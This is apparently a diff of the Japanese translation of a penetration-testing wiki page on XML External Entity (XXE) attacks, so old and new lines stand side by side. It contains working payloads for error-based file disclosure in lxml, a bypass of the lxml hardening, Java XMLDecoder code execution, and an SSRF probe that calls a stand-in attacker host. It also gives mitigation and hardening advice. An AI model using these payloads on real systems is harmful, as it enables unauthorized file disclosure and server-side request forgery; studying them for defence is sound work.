ウェブがPHPを使用している場合、`file:/`の代わりに**php wrappers**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイル**にアクセスできます。
ウェブがPHPを使用している場合、`file:/`の代わりに**phpラッパー**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイル**にアクセスできます。
ウェブがJavaを使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)を確認してください。
### HTML エンティティ
### HTMLエンティティ
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\
**エンティティ内のエンティティ**を作成し、**html エンティティ**でエンコードしてから、**dtdをロード**するために呼び出すことができます。\
使用する**HTML エンティティ**は**数値**である必要があります(例えば\[この例\]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
**エンティティ内のエンティティ**を作成し、**htmlエンティティ**でエンコードしてから、**dtdをロード**するために呼び出すことができます。\
使用する**HTMLエンティティ**は**数値**である必要があります(例えば\[この例\]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -480,7 +480,7 @@ XLIFF (XML Localization Interchange File Format) は、ローカリゼーショ
### Blind Request Analysis
サーバーに次の内容リクエストが送信されます:
サーバーに次の内容リクエストが送信されます:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -534,7 +534,7 @@ Error-Based Data Exfiltration この制限を克服するために、Error-Based
%foo;
%xxe;
```
この修正により、HTTP経由で送信されるエラー出力に反映されるように、ファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXEXML External Entity攻撃を示しています。
この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXEXML External Entity攻撃を示しています。
## RSS - XEE
@ -609,7 +609,7 @@ PHPのbase64フィルターを使用する
```
## Java XMLDecoder XEE to RCE
XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに**readObject**メソッドへの呼び出しで任意のデータを使用させることができれば、彼は瞬時にサーバー上でコード実行を得ることになります。
XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを**readObject**メソッドへの呼び出しで使用させることができれば、彼は瞬時にサーバー上でコード実行を得ることになります。
### Using Runtime().exec()
```xml
@ -671,11 +671,11 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
</void>
</java>
```
## XXE + WrapWrap + Lightyear + バイパス
## XXE + WrapWrap + Lightyear + bypasses
この素晴らしいレポートを見てください [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
## ツール
## Tools
{{#ref}}
https://github.com/luisfontes19/xxexploiter
@ -684,16 +684,16 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml パラメータエンティティ XXE (エラーに基づくファイル開示)
> [!INFO]
> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にするとアクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づくXXEペイロードが可能になります。
> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にするとアクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づく XXE ペイロードが可能になります。
#### 1. lxml < 5.4.0 の悪用
1. **未定義**のパラメータエンティティを定義する*ローカル* DTDをディスク上で特定または作成します(例: `%config_hex;`
2. 内部DTDを作成します
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` でローカルDTDを読み込みます。
* 未定義のエンティティを再定義し、次のようにします:
1. **未定義** パラメータエンティティ (例: `%config_hex;`) を定義する *ローカル* DTD をディスク上で特定または作成します。
2. 内部 DTD を作成します:
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` でローカル DTD を読み込みます。
* 未定義エンティティを再定義して、次のようにします:
- 対象ファイルを読み取ります (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)。
- `%flag;` 値を含む**無効なパス**を参照する別のパラメータエンティティを構築し、パーサーエラーを引き起こします (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
3. 最後に `%local_dtd;``%eval;` を展開し、パーサーが `%error;` に遭遇し、`/aaa/<FLAG>` を開けずに失敗し、スローされた例外内にフラグを漏洩させます - これはしばしばアプリケーションによってユーザーに返されます。
- `%flag;` 値を含む **無効なパス** を参照する別のパラメータエンティティを構築し、パーサーエラーをトリガーします (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
3. 最後に `%local_dtd;``%eval;` を展開し、パーサーが `%error;` に遭遇し、`/aaa/<FLAG>` を開けずに失敗し、スローされた例外内にフラグを漏洩させます これはしばしばアプリケーションによってユーザーに返されます。
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
@ -709,13 +709,13 @@ https://github.com/luisfontes19/xxexploiter
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
> [!TIP]
> パーサーが内部サブセット内の `%`/`&` 文字について文句を言う場合、展開を遅らせるためにそれらを二重エンコードします(`&#x26;#x25;``%`)。
> パーサーが内部サブセット内の`%`/`&`文字について文句を言う場合、それらを二重エンコードします(`&#x26;#x25;``%`以降の展開を遅らせるためです
#### 2. lxml 5.4.0 のハードニングを回避する (libxml2 は依然として脆弱)
`lxml` ≥ 5.4.0 は上記のような *error* パラメータエンティティを禁止していますが、**libxml2** はそれらを *general* エンティティに埋め込むことを依然として許可しています。トリックは次のりです:
1. ファイルをパラメータエンティティ `%file` に読み込みます。
2. *non-existent protocol* である `meow://%file;` を使用する **general** エンティティ `c` を構築する別のパラメータエンティティを宣言します。
3. XML 本文に `&c;` を配置します。パーサーが `meow://…` を逆参照しようとすると失敗し、エラーメッセージにファイルの内容を含む完全な URI が反映されます。
#### 2. lxml 5.4.0のハードニングを回避するlibxml2は依然として脆弱
`lxml` ≥ 5.4.0は上記のような*error*パラメータエンティティを禁止していますが、**libxml2**はそれらを*general*エンティティに埋め込むことを依然として許可しています。トリックは次のとおりです:
1. ファイルをパラメータエンティティ`%file`に読み込みます。
2. *non-existent protocol*(存在しないプロトコル)を使用する**general**エンティティ`c`を構築する別のパラメータエンティティを宣言します。例えば`meow://%file;`のようにします。
3. XMLボディに`&c;`を配置します。パーサーが`meow://…`を逆参照しようとすると失敗し、エラーメッセージにファイルの内容を含む完全なURIが反映されます。
```xml
<!DOCTYPE colors [
<!ENTITY % a '
@ -734,11 +734,11 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
#### 緩和ガイダンス
* **lxml ≥ 5.4.0**にアップグレードし、基盤となる**libxml2**が**≥ 2.13.8**であることを確認してください。
* 絶対に必要でない限り、`load_dtd`および/または`resolve_entities`を無効にしてください。
* クライアントに生のパーサーエラーを返さないようにしてください。
* 生のパーサーエラーをクライアントに返さないようにしてください。
### Java DocumentBuilderFactoryの強化例
Javaアプリケーションは、`DocumentBuilderFactory`を使用してXMLを頻繁に解析します。デフォルトでは、ファクトリーは**外部エンティティ解決を許可**しており、追加の強化フラグが設定されていない場合、XXEおよびSSRFに対して脆弱です。
Javaアプリケーションは、`DocumentBuilderFactory`を使用してXMLを頻繁に解析します。デフォルトでは、ファクトリーは**外部エンティティ解決を許可**しており、追加の強化フラグが設定されていない場合、XXESSRFに対して脆弱です。
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
@ -763,11 +763,35 @@ dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
アプリケーションが内部でDTDをサポートする必要がある場合、`disallow-doctype-decl`を無効のままにし、**常に**2つの`external-*-entities`機能`false`に設定しておきます。この組み合わせにより、古典的なファイル開示ペイロード(`file:///etc/passwd`やネットワークベースのSSRFベクター`http://169.254.169.254/…``jar:`プロトコルなど)を防ぐことができます。
アプリケーションが内部でDTDをサポートする必要がある場合、`disallow-doctype-decl`を無効のままにしておきますが、**常に**2つの`external-*-entities`機能`false`に設定しておきます。この組み合わせにより、古典的なファイル開示ペイロード(`file:///etc/passwd`やネットワークベースのSSRFベクター`http://169.254.169.254/…``jar:`プロトコルなど)を防ぐことができます。
## 実世界のケーススタディ
実際のケーススタディ: **CVE-2025-27136**は、Java S3エミュレーター*LocalS3*で上記の脆弱なコンストラクターを使用しました。認証されていない攻撃者は、`CreateBucketConfiguration`エンドポイントに細工されたXMLボディを提供し、サーバーがHTTPレスポンスにローカルファイル例えば`/etc/passwd`)を埋め込むことを可能にしました。
**CVE-2025-27136**は、Java S3エミュレーター*LocalS3*で、上記の脆弱なコンストラクタを使用していました。認証されていない攻撃者は、`CreateBucketConfiguration`エンドポイントに細工されたXMLボディを提供し、サーバーがHTTPレスポンスにローカルファイル例えば`/etc/passwd`)を埋め込むことを可能にしました。
### JMF/印刷オーケストレーションサービスにおけるXXE → SSRF
一部の印刷ワークフロー/オーケストレーションプラットフォームは、TCP経由でXMLを受け入れるネットワーク向けのジョブメッセージフォーマットJMFリスナーを公開しています。基盤となるパーサーが`DOCTYPE`を受け入れ、外部エンティティを解決する場合、古典的なXXEを利用してサーバーに外部リクエストSSRFを強制させたり、ローカルリソースにアクセスさせたりすることができます。
実際に観察された重要なポイント:
- 専用ポート一般的にXerox FreeFlow Coreでは4004でのネットワークリスナーJMFクライアント
- `disallow-doctype-decl`やエンティティ解決が無効になっていないjar内のJavaベースのXMLパース。
- アウトオブバンドコールバックが確実にエクスプロイトを確認します。
最小限のJMFスタイルのSSRFプローブ構造は製品によって異なりますが、DOCTYPEが重要です
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
ノート:
- エンティティのURLをコラボレーターに置き換えます。SSRFが可能な場合、サーバーはメッセージを解析する際にそれを解決します。
- 確認すべきハードニング: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`
- JMFポートがファイルを提供しない場合でも、SSRFは内部の再調査やlocalhostにバインドされた管理APIに到達するためにチェーンできます。
このベクターに関する参考文献はページの最後にリストされています。
## 参考文献
@ -775,7 +799,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- HTTPを介して独自の外部DTDを使用して情報を抽出: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- 自の外部DTDを使用してHTTP経由で情報を抽出: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
@ -784,5 +808,8 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}